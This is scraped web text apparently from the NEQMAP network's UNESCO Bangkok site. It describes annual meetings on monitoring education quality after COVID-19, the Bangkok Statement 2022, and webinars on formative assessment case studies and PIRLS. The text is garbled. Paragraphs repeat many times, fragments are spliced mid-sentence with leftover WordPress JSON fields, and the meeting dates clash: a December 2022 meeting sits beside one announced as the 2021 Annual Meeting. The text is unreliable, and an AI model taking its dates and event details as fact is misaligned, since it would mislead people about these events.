The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The research will showcase four case studies from member organisations from the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP), a regional platform coordinated by UNESCO Bangkok. The case studies represent a variety of practices documenting promising and effective policies, practices, and lessons learned on how policymakers and education leaders can best support teachers and schools in effectively integrating assessment practices in the teaching and learning process. The case studies also look at how policymakers and education leaders can help to promote and reinforce the formative use of assessment in schools for a more learner-centered and differentiated approach to teaching and learning.\u00a0<\/p>\n\n\n\n<\/p>\n\n\n\n<div class=\"wp-block-file\"><object class=\"wp-block-file__embed\" data=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Webinar Concept Note and Agenda\"><\/object><a id=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\">Webinar Concept Note and Agenda<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/KW-Webinar_concept-note_Final.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-e09031b9-bf01-4ec2-9fa0-658070411e43\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\" href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\">NEQMAP-Knowledge-Sharing-Webinar<\/a><a href=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/06\/NEQMAP-Knowledge-Sharing-Webinar-scaled.webp\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-a911ac89-9766-476b-8ce1-a2fd46aefc97\">Download<\/a><\/div>\n","post_parent":0,"guid":"https:\/\/neqmap.bangkok.unesco.org\/?p=5713","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":5689,"post_author":"1","post_date":"2023-05-30 12:07:19","post_date_gmt":"2023-05-30 05:07:19","post_content":"\nDate and Location: <\/strong> Wednesday 14th<\/sup> of June at 3:30pm - 4:30 pm (GMT+7\/Bangkok time) via Zoom<\/p>\n\n\n\nType of event:<\/strong> Online Webinar<\/p>\n\n\n\nRegistration link:<\/strong> <a href=\"https:\/\/bit.ly\/3WTS6ul\"><\/a><a rel=\"noreferrer noopener\" href=\"https:\/\/bit.ly\/3WTS6ul?fbclid=IwAR1WuAUbkqF4MiBRgIG4Xme6lebX8AXpahZVZXDYssEyZnqrpf2bi7jhScU\" target=\"_blank\">https:\/\/bit.ly\/3WTS6ul<\/a><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<\/p>\n\n\n\nPresentation Brief:<\/strong><\/p>\n\n\n\nIEA\u2019s PIRLS (the Progress in International Reading Literacy Study) is the global standard for monitoring reading achievement at the fourth grade.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes.

